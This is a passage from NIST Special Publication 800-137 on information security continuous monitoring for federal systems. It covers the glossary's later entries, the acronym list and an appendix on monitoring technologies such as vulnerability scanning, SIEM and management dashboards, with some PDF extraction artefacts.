debilitated stat e, while maintaining essential operational capabilities; an d (ii) recover to an effective operational posture in a time frame consistent with mission needs. Risk [FIPS 200, Adapted] A measure of the extent to which an entity is threatened by a potential circumstance or event, and typically a function of: (i) the adverse impacts that would arise if the circumstance or event occurs; and (ii) the likelihood of occurrence. [Note: Information system -related security risks are those risks that arise from the loss of confidentiality, integrity, or availability of information or information systems and reflect the potential adverse impacts to organizational operations (including miss ion, functions, image, or reputation), organizational assets, individuals, other organizations, and the Nation. Adverse impacts to the Nation include, for example, compromises to information systems that support critical infrastructure applications or are paramount to government continuity of operations as defined by the Department of Homeland Security.] Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-11 Risk Assessment [CNSSI 4009] The process of identifying risks to organizational operations (including mission, functions, image, reputation), organizational assets, individuals, other organizations, and the Nation, resulting from the operation of an information system. Part of risk management, incorporates threat and vulnerability analyses, and considers mitigations provided by security controls planned or in place. Synonymous with risk analysis. Risk Executive ( Function) [CNSSI 4009] An individual or group within an organization that helps to ensure that: (i) security risk -related considerations for individual information systems, to include the authorization decisions, are viewed from an organization- wide perspective with regard to the overall strategic goals and objectives of the organization in carrying out its missions and business functions; and (ii) managing information system -related security risks is consistent across the organization, reflects organizational risk tolerance, and is considered along with organizational risks affecting mission/business success. Risk Management [FIPS 200, Adapted] The program and supporting processes to manage information security risk to organizational operations (including mission, functions, image, reputation), organizational assets, individuals, other organizations, and the Nation, and includes: (i) establishing the context for risk -related activities ; (ii) assessing risk; (iii) responding to risk once determined; and (iv) monitoring risk over time. Risk Monitoring Maintaining ongoing awareness of an organization’s risk environment, risk management program, and associated activities to support risk de cisions. Risk Response [NIST SP 800 -39] Accepting, avoiding, mitigating, sharing, or transferring risk to organizational operations (mission, functions, image, or reputation), organizational assets, individuals, other organizations, and the Nation. Risk Tolerance [NISTIR 7298] The level of risk an entity is willing to assume in order to achieve a potential desired result. Safeguards [CNSSI 4009] Protective measures prescribed to meet the security requirements (i.e., confidentiality, integrity, and availability) specified for an information system . Safeguards may include security features, management constraints, personnel security, and security of physical structures, areas, and devices. Synonymous with security controls and countermeasures. Security Authorization See Authorization . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-12 Security Automation Domain An information security area that includes a grouping of tools, technologies, and data. Security Categorization [CNSSI 1253, FIPS 199] The process of determining the security category for information or an information system. Security categorization methodologies are described in CNSS Instruction 1253 for national security systems and in FIPS 199 for other than national security systems. Security Control Assessment [CNSSI 4009, Adapted] The testing and/or evaluation of the management, operational, and technical security controls in an information system to determine the extent to which the controls are implemented correctly, operating as intended, and producing the desired outcome with respect to meeting the security requirements for the system. Security Control Assessor [NISTIR 7298] The individual, group, or organization responsible for conducting a security control assessment. Security Control Baseline [FIPS 200, Adapted] One of the sets of minimum security controls defined for federal information systems in NIST Special Publication 800 -53 and CNSS Instruction 1253. Security Control Effectiveness The measure of correctness of implementation (i.e., how consistent ly the control implementation complies with the security plan) and how well the security plan meets organizational needs in accordance with current risk tolerance. Security Control Inheritance [CNSSI 4009] A situation in which an information system or application receives protection from security controls (or portions of security controls) that are developed, implemented, assessed, authorized, and monitored by entities other than those responsible for the system or application; entities either internal or external to t he organization where the system or application resides. See Common Control . Security Controls [FIPS 199] The management, operational, and technical controls (i.e., safeguards or countermeasures) prescribed for an information system to protect the confidentiality, integrity, and availability of the system and its information. Security Domain [CNSSI 4009] A domain that implements a security policy and is administered by a single authority. Security Impact Analysis [NIST SP 800 -53] The analysis conducted by an organizational official to determine the extent to which changes to the information system have affected the security state of the system. Security Incident See Incident. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-13 Security Management Dashboard [NIST SP 800 -128] A tool that consolidates and communicates information relevant to the organizational security posture in near real-time to security management stakeholders. Security Objective [FIPS 199] Confidentiality, integrity, or availability. Security Plan [NISTIR 7298] Formal document that provides an overview of the security requirements for an information system or an information security program and describes the security controls in place or pl anned for meeting those requirements. See System Security Plan or Information Security Program Plan. Security Policy [CNSSI 4009] A set of criteria for the provision of security services. Security Posture [CNSSI 4009] The security status of an organization’s networks, information, and systems based on IA resources (e.g., people, hardware, software, policies) and capabiliti es in place to manage the defense of the organization and to react as the situation changes. Security Requirements [FIPS 200] Requirements levied on an information system that are derived from applicable laws, Executive Orders, directives, policies, standards, instructions, regulations, procedures, or organizational mission/business case needs to ensure the confidentiality, integrity, and availability of the information being processed, stored, or transmitted. Security Status See Security Posture. Senior (Agency) Information Security Officer (SISO) [44 U.S.C., Sec. 3544 ] Official responsible for carrying out the Chief Information Officer responsibilities under the Federal Information Security Management Act (FISMA) and serving as the Chief Information Officer’s primary liaison to the agency’s authorizing officials, information system owners, and information system secur ity officers. [Note: Organizations subordinate to federal agencies may use the term Senior Information Security Officer or Chief Information Security Officer to denote individuals filling positions with similar responsibilities to Senior Agency Informatio n Security Officers.] Senior Information Security Officer See Senior Agency Information Security Officer . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-14 Specification [NISTIR 7298] An assessment object that includes document -based artifacts (e.g., policies, procedures, plans, system security requirements, functional specifications, and architectural designs) associated with an information system. Status Monitoring Monitoring the information security metrics defined by the organization in the information security ISCM strategy. Subsystem [NISTIR 7298] A major subdivision of an information system consisting of information, information technology, and personnel that performs one or more specific functions. System See Information System . System Development Life Cycle (SDLC) [CNSSI 4009] The scope of activities associated with a system, encompassing the system’s initiation, development and acquisition, implementation, operation and maintenance, and ultimately its disposal. System Development Life Cycle (SDLC) [CNSSI 4009, Adapted] The scope of activities associated with a system, encompassing the system’s initiation, development and acquisition, implementation, operation and maintenance, and ultimately its disposal that instigates another system initiation. System Security Plan [FIPS 200] Formal document that provides an overview of the security requirements for an information system and describes the security controls in place or planned for meeting those requirements. System-Specific Security Control [CNSSI 4009] A security control for an information system that has not been designated as a common security control or the portion of a hybrid control that is to be implemented within an information system. Tailoring [CNSSI 4009] The process by which a security control baseline is modified based on: (i) the application of scoping guidance; (ii) the specification of compensating security controls, if needed; and (iii) the specification of organization- defined parameters in the security controls via explicit assignment and selection s tatements. Technical Controls [FIPS 200] The security controls (i.e., safeguards or countermeasures) for an information system that are primarily implemented and executed by the information system through mechanisms contained in the hardware, software, or firmware components of the system. Test [NISTIR 7298] A type of assessment method that is characterized by the process of exercising one or more assessment objects under specified conditions to compare actual with expected behavior, the results of which are used to support the determination of security control effectiveness over time. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX B PAGE B-15 Threat [CNSSI 4009, Adapted] Any circums tance or event with the potential to adversely impact organizational operations (including mission, functions, image, or reputation), organizational assets, individuals, other organizations, or the Nation through an information system via unauthorized access, destruction, disclosure, modification of information, and/or denial of service . Threat Information [CNSSI 4009, Ad apted] Analytical insights into trends, technologies, or tactics of an adversarial nature affecting information systems security . Threat Source [FIPS 200] The intent and method targeted at the intentional exploitation of a vulnerability or a situation and method that may accidentally trigger a vulnerability. Synonymous with threat agent. Vulnerability [CNSSI 4009] Weakness in an information system, system security procedures, internal controls, or implementation that could be exploited or triggered by a threat source. Vulnerability Assessment [CNSSI 4009] Formal description and evaluation of the vulnerabilities in an information system. White Box Testing See Comprehensive Testing. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX C PAGE C-1 APPENDIX C ACRONYMS COMMON ABBREVIATIONS AO Authorizing Official CAPEC Common Attack Pattern Enumeration & Classification CIO Chief Information Officer CIRT Computer Incident Response Team COTS Commercial O ff-The-Shelf CVSS Common Vulnerability Scoring System CVE Common Vulnerabilities and Exposures CWE Common Weakness Enumeration CWSS Common Weakness Scoring System DLP Data Loss Prevention FDCC Federal Desktop Core Configuration FISMA Federal Information Security Management Act of 2002 IDPS Intrusion Detection and Prevention System ISCM Information Security Continuous Monitoring ISO Information System Owner ISSO Information System Security Officer IT Information Technology NCP National Checklist Prog ram NVD National Vulnerability Database OCIL Open Checklist Interactive Language OMB Office of Management and Budget OVAL Open Vulnerability and Assessment Language PII Personally Identifiable Information PM Program Management POA&M Plan Of Action & Milestones RMF Risk Management Framework SAR Security Assessment Report SCAP Security Content Automation Protocol SDLC System Development Life Cycle Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX C PAGE C-2 SIA Security Impact Analysis SIEM Security Information and Event Management SISO Senior Information Security Officer SP Special Publication SwAAP Software Assurance Automation Protocol USGCB United States Government Configuration Baseline XCCDF eXtensible Configuration Checklist Description Format XML Extensible Markup Language Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-1 APPENDIX D TECHNOLOGIES FOR ENABLING ISCM rganizations can make more effective use of their security budgets by implementing technologies to automate many of the ISCM activities in support of organizational risk management policy a nd strategy, operational security, internal and external compliance, reporting, and documentation needs. Organizations may choose to follow a reference architecture, such as NIST CAESARS F ramework Extension, to implement ISCM technologies.44 • Ongoing assessments of security control effectiveness; There are a variety of tools and technologies available that an organization can use to efficiently and effectively gather, aggregate, analyze, and report data ranging from continuously monitoring the security status of its enterprise architecture and operating enviro nment(s) down to components of individual information systems. These tools and technologies can enable and assist automated monitoring in support of a variety of organizational processes including but not limited to: • Reporting of security status at the appropriate level of granularity to personnel with security responsibilities; • Management of risk and verification and assessment of mitigation activities; • Assurance of compliance with high- level interna l and external requirements; and • Analysis of the security impact of changes to the operational environment. The tools and technologies discussed in this appendix leverage the strategies, policies, and roles and responsibilities of the overall ISCM program, and can assist organizations in their efforts to automate the implementation, assessment, and monitoring of many NIST SP 800 -53 security controls. Though these tools and technologies lend themselves primarily to the continuous monitoring of technical security controls that can be automated, they can provide evidence, in an automated manner, to support the existence and effectiveness of nontechnical security controls or parts of technical security controls that cannot be easily automated. Automation is achieved through a variety of commercial off -the-shelf (COTS) and government off -the-shelf (GOTS) products, built -in operating system capabilities, and custom tools and scripting that use standardized automation specifications. It is important to understand and appreciate the need to assess the effectiveness of all security controls, particularly nontechnical security controls , periodically. Data collected from automated tools may not provide feedback on the existence and the effectiveness of nontechnical security controls. It may be possible in some cases to make certain inferences about the effectiveness of nontechnical security controls based on data collected from automated tools. While it may not be possible to use automated tools and technologies to monitor adherence to policies and procedures, it may be possible to monitor associated security objectives in an automated fashion. 44 For more information, please refer to DRAFT NISTIR 7756, as amended, CAESARS Framework Extension: An Enterprise Continuous Monitoring Technical Reference Architecture. O Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-2 The Open Checklist Interactive Language (OC IL), discussed in Section D.3.1, may be used to partially automate certain controls that require human interaction and can be verified in a question and answer type format. For example, it may be possible to create an automated questionnaire to gather information related to annual security awareness training. The validity of the security-related information collected continuously or on demand from automated tools assumes the continued effectiveness of the underlying management and operational security controls. As such, the value of automated tools and technologies, including those that perform direct data gathering and aggregation and analysis of data, is dependent upon the operational processes supporting their use. For organizations to realize the operational security benefits and for the tools and technologies to provide an accurate se curity status, knowledgeable staff should select , implement, operate, and maintain these tools and technologies , as well as all underlying security controls, interpret the monitoring data obtained, and select and implement appropriate remediation. This appendix discusses the role of tools and technologies in automating many ISCM activities. It discusses common tools , technologies , and open specifications used to collect, analyze, and meaningfully represent data in support of continuous monitoring of an organization’s security posture, including providing visibility into the information assets, awareness of threats and vulnerabilities, and status of security control effectiveness. Examples of security controls that can be automated using the various technologies are included. This is not an exhaustive set of examples. New products and technologies continue to reach the market. Controls commonly automated but that do not appear as examples associated with the technologies named below include those where auto mation is achieved through capabilities built into operating systems, custom tools and scripts , or a combination of several tools and capabilities. 45 D.1 TECHNOLOGIES FOR DAT A GATHERING Data gathering technologies are those that provide the capability to observe, detect, prevent, or log known security threats and vulnerabilities, and/or remediate or manage various aspects of security controls implemented to address those threats and vulnerabilities. These technologies are primarily implemented at the information systems level (Tier 3). However, they can be configured to support an organization’s ongoing security monitoring needs up through mission/business processes and information security governance metrics. Implementing a tool across an organization allows systems within that organization to inherit and leverage said capability. A security automation domain is an information security area that includes a grouping of tools, technologies, and data. Data within the domains is captured, correlated, analyzed, and reported to present the security status of the organization that is represented by the domains monitored. Security automation provides standardized specifications that enable the interoperability and flow of data between these domains. Monitoring capabilities are achieved through the use of a variety of tools and techniques. The granularity of the information collected is determined by the organization, based on its monitoring objectives and the capability of the enterprise architecture to support such activities. 45 Examples of such controls that lend themselves to full or partial automation through security engineering or the use of proprietary/third party software and log management tools include account management, security training records, incident reporting, and physical access control. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-3 This section describes the tools and technologies within eleven security automation domains that support continuous monitoring: • Vulnerability Management; • Patch Management; • Event Management; • Incident Management ; • Malware Detection; • Asset Management; • Configuration Management; • Network Management; • License Management; • Information Management; and • Software Assurance. The domains are pictured in Figure D -1. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-4 Figure D -1. Security Automation Domains D.1.1 VULNERABILITY AND PATCH MANAGEMENT A vulnerability is a software flaw that introduces a potential security exposure. The number of vulnerabilities discovered and patches developed to address those vulnerabilities continues to grow, making manual patching of systems and system components an increasingly difficult task. To the extent possible, organizations should identify, report, and remediate vulnerabilities in a coordinated, organization- wide manner using automated vulnerability and patch management tools and technologies. Vulnerability scanners are commonly used in organizations to identify known vulnerabilities on hosts and networks and on commonly used operating systems and applications. These scanning tools can proactively identify vulnerabilities, provide a fast and easy way to measure exposure, identify out -of-date software versions, validate compliance with an organizational security policy, and generate alerts and reports about identified vulnerabilities. Patch management tools scan for vulnerabilities on systems and system components participating in an organization’s patching solution, provide information regarding needed patches and other software updates on affected devices, and allow an administrator to decide on the patching implementation process. Patch management tools and utilities are available from various vendors to assist in the automated identification, distribution, and reporting of software patches. It is critical to understand the impact of patches before applying and to deploy them within the context of a defined patch management policy, providing assurance that systems will not lose critical functionality due to an unintended side effect of a patch. In some cases where a patch cannot be deployed, other compensating security controls may be necessary. The implementation and effective use of vulnerability assessment and patch management technologies 46 46 For more information, please refer to NIST SP 800- 40, as amended, Creating a Patch and Vulnerability can assist organizations in automating the implementation, assessment, and Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-5 continuous monitoring of several NIST SP 800 -53 security controls including SI -2, Flaw Remediation; CA -2, Security Assessments; CA -7, Continuous Monitoring; CM-3, Configuration Change Control; IR -4, Incident Handling; IR -5, Incident Monitoring; MA -2, Controlled Maintenance; RA -5, Vulnerability Scanning; SA -11, Developer Security Testing; and SI -11, Error Handling. Vulnerability assessment and patch management technologies may also provide supporting data to assist organizations in responding to higher -level reporting requirements in the areas of configuration and vulnerability management. D.1.2 EVENT AND INCIDENT M ANAGEMENT Event management involves monitoring and responding to as necessary, observable occurrences in a network or system. A variety of tools and technologies exist to monitor events, such as intrusion detection systems and logging mechanisms. Some tools may detect events based on known attack signatures, while others detect anomalies in behavior or performance that could indicate an attack. Certain events may signal that an incident has occurred, which is a violation or imminent threat of violation of computer security policies, acceptable use pol icies, or standard computer security practices. Incident management tools may assist in detecting, responding to, and limiting the consequences of a malicious cyber attack against an organization. A log is a record of the events occurring within an organization’s systems and networks. Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or system component. Many logs within an organization contain records related to computer security . These computer security logs can be generated by many sources, including security software such as malware protection software, firewalls, and intrusion detection and prevention systems, operating systems on servers, workstations, networking equipment, and applications. 47 The number, volume, and variety of security logs have increased greatly, which has created the need for information system security log management – the process of generating, transmitting, storing, analyzing, and disposing of security log data. Log management is essential for ensuring that security records are stored in sufficient detail for an appropriate period of time. Logs are a key resource when performing auditing and forensic analysis, supporting internal investigations, establishing baselines, and identifying operational trends and long- term problems. Routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems, and as such, supports a n ISCM capability. The implementation and effective use of logging and log management tools and technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including AU -2, Auditable Events; AU -3, Content of Audit Records; AU -4, Audit Storage Capacity; AU -5, Response to Audit Processing Failures; AU-6, Audit Review, Analysis, and Reporting; AU -7, Audit Reduction and Report Generation; AU-8, Time Stamps; AU -12, Audit Generation; CA -2, Security Assessments; CA -7, Continuous Monitoring; IR -5, Incident Monitoring; RA -3, Risk Assessment; and SI -4, Information system Monitoring. Intrusion detection is the process of monitoring the events occurring in a computer system or network and analyzing them for signs of possible incidents, which are violations or imminent Management Program . 47 For more information, please refer to NIST SP 800- 92, Guide to Computer Security Log Management . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-6 threats of violation of computer security policies, acceptable use policies, or standard security practices. Intrusion prevention is the process of performing intrusion detection and attempting to stop possible incidents as they are detected. Intrusion detection and prevention systems (IDPS s)48 IDPSs typically are used to record information related to observed events, notify security administrators of important observed events, and automatically generate reports, with remediation actions performed manually after human review of the report. Many IDPSs can also be configured to respond to a detected threat using a variety of techniques, including changing security configurations or blocking the attack. are focused primarily on identifying possible incidents, logging information about them, attempting to stop them, and reporting them to security administrators for further analysis and action. Within the context of a n ISCM program, IDPSs can be used to supply evidence of the effectiveness of security controls (e.g., policies, procedures, and other implemented technical controls), document existing threats, and deter unauthorized use of information systems. The implementation and effective us e of IDPSs can also assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including AC -4, Information Flow Enforcement; AC -17, Remote Access; AC -18, Wireless Access; AU -2, Auditable Events; AU -6, Audit Review, Analysis, and Reporting; AU - 12, Audit Generation; AU -13, Monitoring for Information Disclosure; CA -2, Security Assessments; CA -7, Continuous Monitoring; IR -5, Incident Monitoring; RA -3, Risk Assessment; SC-7, Boundary Protection; SI -3, Malicious Code Protection; SI -4, Information System Monitoring; and SI -7, Software and Information Integrity. IDPSs may also provide supporting data to assist organizations in meeting US -CERT incident reporting requirements and in responding to OMB and agency CIO reporting requirements in the areas of system and connections inventory, security incident management, boundary protections, and configuration management. D.1.3 MALWARE DETECTION Malware detection49 Malware detection mechanisms can be configured to perform periodic scans of information systems, as well as real -time scans of files from external sources as the files are downloaded, opened, or executed in accordance with organizational security policy. Malware detection mechanisms can frequently take a predetermined action in response to malicious code detection. provides the ability to identi fy and report on the presence of viruses, Trojan horses, spyware, or other malicious code on or destined for a target system. Organizations typically employ malware detection mechanisms at information system entry and exit points (e.g., firewalls, email servers, Web servers, proxy servers, remote access servers) and at endpoint devices (e.g., workstations, servers, mobile computing devices) on the network to detect and remove malicious code transported by electronic mail, electronic mail attachments, Web accesses, removable media or other means, or inserted through the exploitation of information system vulnerabilities. 48 For more information, please refer to NIST SP 800- 94, as amended, Guide to Intrusi on Detection and Prevention Systems (IDPS) . 49 For more information, please refer to NIST SP 800- 83, as amended, Guide to Malware Incident Prevention and Handling. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-7 In addition to malware detec tion, a variety of technologies and methods exist to limit or eliminate the effects of malicious code attacks. Used in conjunction with configuration management and control procedures and strong software integrity controls, malware detection mechanisms can be even more effective in preventing execution of unauthorized code. Additional risk mitigation measures, such as secure coding practices, trusted procurement processes, and regular monitoring of secure configurations, can help to ensure that unauthorized functions are not performed. The implementation and effective use of malware detection technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800-53 security controls, including CA -2, Security Assessments; CA -7, Continuous Monitoring; IR-5, Incident Monitoring; RA -3, Risk Assessment; SA -12, Supply Chain Protection; SA -13, Trustworthiness; SI -3, Malicious Code Protection; SI -4, Information System Monitoring; SI -7, Software and Information Integrity; and SI -8, Spam Protection. Malware detection technologies may also provide supporting data to assist organizations in meeting US -CERT incident reporting requirements and in responding to OMB and agency CIO reporting requirements related to incident management, remote access, and boundary protections. D.1.4 ASSET MANAGEMENT Asset management tools help maintain inventory of software and hardware within the organization. This can be accomplished via a combination of system configuration, netw ork management, and license management tools, or with a special -purpose tool. Asset management software tracks the life cycle of an organization’s assets and provides tools such as remote management of assets and various automated management functions. The implementation and effective use of asset management technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800-53 security controls including CA -7, Continuous Monitoring; CM -2, Baseline Configuration; CM-3, Configuration Change Control; CM -4, Security Impact Analysis; CM -8, Information System Component Inventory; and SA -10, Developer Configuration Management. D.1.5 CONFIGURATION MANAGE MENT Configuration management tools allow administrators to configure settings, monitor changes to settings, collect setting status, and restore settings as needed. Managing the numerous configurations found within information systems and network components has become almost impossible using manual methods. Automated solutions may lower the cost of configuration management efforts while enhancing efficiency and improving reliability. System configuration scanning tools provide the automated capability to audit and assess a target system to determine it s compliance with a defined secure baseline configuration. A user may confirm compliance with, and identify deviations from , checklists appropriate for relevant operating systems and/or applications. If an information system or system component is unknowingly out of synchronization with the approved secure configurations as defined by the organization’s baseline configurations and the System Security Plan, organization officials and system owners may have a false sense of security. An opportunity to take ac tions that would otherwise limit vulnerabilities and help protect the organization from attack would subsequently be missed. Monitoring activities offer the organization better visibility into the state of security for its information systems, as defined by the security metrics being monitored. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-8 Identity and account configuration management tools allow an organization to manage identification credentials, access control, authorization, and privileges. Identity management systems may also enable and monitor physical access control based on identification credentials. Identity and account configuration management tools often have the ability to automate tasks such as account password resets and other account maintenance activities. These systems also monitor and report on activities such as unsuccessful login attempts, account lockouts, and resource access. There are a wide variety of configuration management tools available to support an organization’s needs. When selecting a configuration management tool, organizations should consider tools that can pull information from a variety of sources and components. Organizations should choose tools that are based on open specifications such as SCAP; that support organization- wide interoperability, assessment, and reporting; that provide the ability to tailor and customize output; and that allow for data consolidation into SIEM tools and management dashboards. The implementation and effective use of configuration management technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including AC -2, Account Management; AC -3, Access Enforcement; AC -5, Separation of Duties; AC -7, Unsuccessful Login Attempts; AC -9, Previous Logon (Access) Notification; AC -10, Concurrent Session Control; AC -11, Session Lock; AC -19, Access Control for Mobile Devices; AC -20, Use of External Information Systems; AC -22, Publicly Accessible Content; CA -2, Security Assessments; CA -7, Continuous Monitoring; CM -2, Baseline Configuration; CM -3, Configuration Change Control; CM -5, Access Restrict ions for Change; CM -6, Configuration Settings; CM -7, Least Functionality; IA -2, Identification and Authentication (Organizational Users); IA- 3, Device Identification and Authentication; IA -4, Identifier Management; IA -5, Authenticator Management; IA -8, Identification and Authentication (Non-Organizational Users); IR -5, Incident Monitoring; MA -5, Maintenance Personnel; PE -3, Physical Access Control; RA -3, Risk Assessment; SA-7, User Installed Software; SA -10, Developer Configuration Management; and SI -2, Flaw Remediation. Organization- wide security configuration management and engineering technologies may also provide supporting data to assist organizations in responding to higher -level compliance reporting requirements in the areas of configuration and asset management. D.1.6 NETWORK MANAGEMENT Network configuration management tools include host discovery, inventory, change control, performance monitoring, and other network device management capabilities. Some network configuration management tools automate device configuration and validate device compliance against pre -configured policies. Network management tools may be able to discover unauthorized hardware and software on the network, such as a rogue wireless access point. The implementation and effective use of network management technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including AC -4, Information Flow Enforcement; AC - 17, Remote Access; AC -18, Wireless Access; CA -7, Continuous Monitoring; CM -2, Baseline Configuration; CM -3, Configuration Change Control; CM -4, Security Impact Analysis; CM -6, Configuration Settings; CM -8, Information System Component Inventory; SC -2, Application Partitioning; SC -5, Denial of Service Protection; SC -7, Boundary Protection; SC -10, Network Disconnect; SC -32, Information System Partitioning; and SI -4, Information System Monitoring. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-9 D.1.7 LICENSE MANAGEMENT Similar to systems and network devices, software and applications are also a relevant data source for ISCM. Software asset and licensing information may be centrally managed by a software asset management tool to track license compliance, monitor usage status, and manage the software asset life cycle. License management tools offer a variety of features to automate inventory, utilization monitoring and restrictions, deployment, and patches for software and applications. The implementation and effective use of license management technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including CA -7, Continuous Monitoring; CM -8, Information System Component Inventory; and SA -6, Software Usage Restrictions. D.1.8 INFORMATION MANAGEMENT There are vast quantities of digital information stored across the myriad of systems, network devices, databases, and other assets within an organization. Managing the location and transfer of information is essential to protecting the confident iality, integrity, and availability of the data. Data loss is the exposure of proprietary, sensitive, or classified information through either data theft or data leakage. Data theft occurs when data is intentionally stolen or exposed, as in cases of espionage or employee disgruntlement. Data leakage is the inadvertent exposure of data, as in the case of a lost or stolen laptop, an employee storing files using an Internet storage application, or an employee saving files on a USB drive to take home. An effective data loss prevention (DLP) strategy includes data inventory and classification; data metric collection; policy development for data creation, use, storage, transmission, and disposal; and tools to monitor data at rest, in use, and in transit. There are a variety of tools available for DLP. Typical network and security tools such as network analysis software, application firewalls, and intrusion detection and prevention systems can be used to monitor data and its contents as it is transmitted. Specially purposed DLP software also exists with features such as port and endpoint control, disk and file encryption, and database transaction monitoring. These tools may be specialized network traffic monitors or software agents installed on desktops, laptops, and servers. DLP tools have built -in detection and mitigation measures such as alerting via email, logging activities, and blocking transmissions. The implementation and effective use of DLP technologies can assist organizations in automating the implementati on, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including AC -4, Information Flow Enforcement; AC -17, Remote Access; CA -3, Information System Connections; CA -7, Continuous Monitoring; CM -7, Least Functionality; SC- 9, Transmission Confidentiality; and SI-12, Information Output Handling and Retention. D.1.9 SOFTWARE ASSURANCE The NIST Software Assurance Metrics and Tool Evaluation (SAMATE) project defines software assurance as the “planned and systematic set of activities that ensures that software processes and products conform to requirements, standards , and procedures from NASA Software Assurance Guidebook and Standard to help achieve: Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-10 • Trustworthiness – No exploitable vulnerabilities exi st, either of malicious or unint entional origin • Predictable Execution – Justifiable confidence that software, when executed, functions as intended.” There are several automation specifications that can assist with continuous monitoring of software assurance, including the emerging Software Assurance Automation Protocol (SwAAP) that is being developed to measure and enumerate software weaknesses and assurance cases. SwAAP uses a variety of automation specifications such as the Common Weakness Enumeration (CWE), which is a dictionary of weaknesses that can lead to exploitable vulnerabilities (i.e. , CVEs) and the Common Weakness Scoring System (CWSS) for assigning risk scores to weaknesses. SwAAP also uses the Common Attack Pattern Enumeration & Classification (CAPEC), which is a publicly available catalog of attack patterns with a comprehensive schema and classification taxonomy, to provide descriptions of common methods for exploiting software and the Malware Attribute Enumeration & Characterization (MAEC), which provides a standardiz ed language for encoding and communicating information about malware based upon attributes such as behaviors, artifacts, and attack patterns. There are a number of software assurance tools and technologies that are now incorporating many of these automation specifications to provide software security throughout the software development life cycle. The implementation and effective use of software assurance technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 -53 security controls including CA -7, Continuous Monitoring; SA-4, Acquisitions; SA -8, Security Engineering Principles; SA -11, Developer Security Testing; SA-12, Supply Chain Protection; SA -13, Trustworthiness; SA -14, Critical Information System Components; and SI -13, Predictable Failure Prevention. D.2 TECHNOLOGIES FOR AGG REGATION AND ANALYSI S Aggregation and analysis technologies are those that have the capability to collect raw data from one or more security controls or other direct data gathering technologies and correlate, analyze, and represent the raw data in a way that provides a more meaningful perspective on the effectiveness of security control implementation across part or all of an organization than would data from any single technology. This section discusses common types of aggregation and analysis technologies and their role in supporting a n ISCM capability. They include SIEM and management dashboards. D.2.1 SECURITY INFORMATION AND EVENT MANAGEMENT (SIEM) To enhance the ability to identify inappropriate or unusual activity, organizations may integrate the analysis of vulnerability scanning information, performance data, network monitoring, and system audit record (log) information through the use of SIEM tools. SIEM tools are a type of centralized logging software that can facilitate aggregation and consolidation of logs from multiple information system components. SIEM tools can also facilitate audit record correlation and analysis. The correlation of audit reco rd information with vulnerability scanning information is important in determining the veracity of the vulnerability scans and correlating attack detection events with scanning results. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-11 SIEM products usually include support for many types of audit record sources, such as operating systems, application servers (e.g., Web servers, email servers), and security software, and may even include support for physical security control devices such as badge readers. An SIEM server analyzes the data from all the differ ent audit record sources, correlates events among the audit record entries, identifies and prioritizes significant events, and can be configured to initiate responses to events. For each supported audit record source type, SIEM products typically can be configured to provide functionality for categorization of the most important audit record fields (e.g., the value in field 12 of application XYZ’s logs signifies the source IP addr ess) which can significantly improve the normalization, analysis, and correlation of audit record data. The SIEM software can also perform event reduction by disregarding those data fields that are not significant to information system security, potentially reducing the SIEM software’s network bandwidth and data storage usage. The implementation and effective use of SIEM technologies can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 - 53 security controls including AC -5, Separation of Duties; AU -2, Auditable Events; AU -6, Audit Review, Analysis, and Reporting; AU -7, Audit Reduction and Report Generation; CA -2, Security Assessments; CA -7, Continuous Monitoring; IR -5, Incident Monitoring; PE -6, Monitoring Physical Access; RA -3, Risk Assessment; RA -5, Vulnerability Scanning; and SI -4, Information System Monitoring. D.2.2 MANAGEMENT DASHBOARDS A security management dashboard (or security information management console) consolidates and communic ates information relevant to the organizational security status in near real-time to security management stakeholders. Personnel with responsibility for information security range from a technical system administrator, to the SISO, to the risk executive (function). The security management dashboard presents information in a meaningful and easily understandable format that can be customized to provide information appropriate to those with specific roles and responsibilities within the organization. To maximi ze the benefits of management dashboards, it is important to obtain acceptance and support from upper -level management, define useful and quantifiable organization- specific performance metrics that are based on information security policies and procedures, and ensure the availability of meaningful performance data. The implementation and effective use of management dashboards can assist organizations in automating the implementation, assessment, and continuous monitoring of several NIST SP 800 - 53 security c ontrols including AC -5, Separation of Duties; CA -6, Security Authorization, CA -7, Continuous Monitoring; 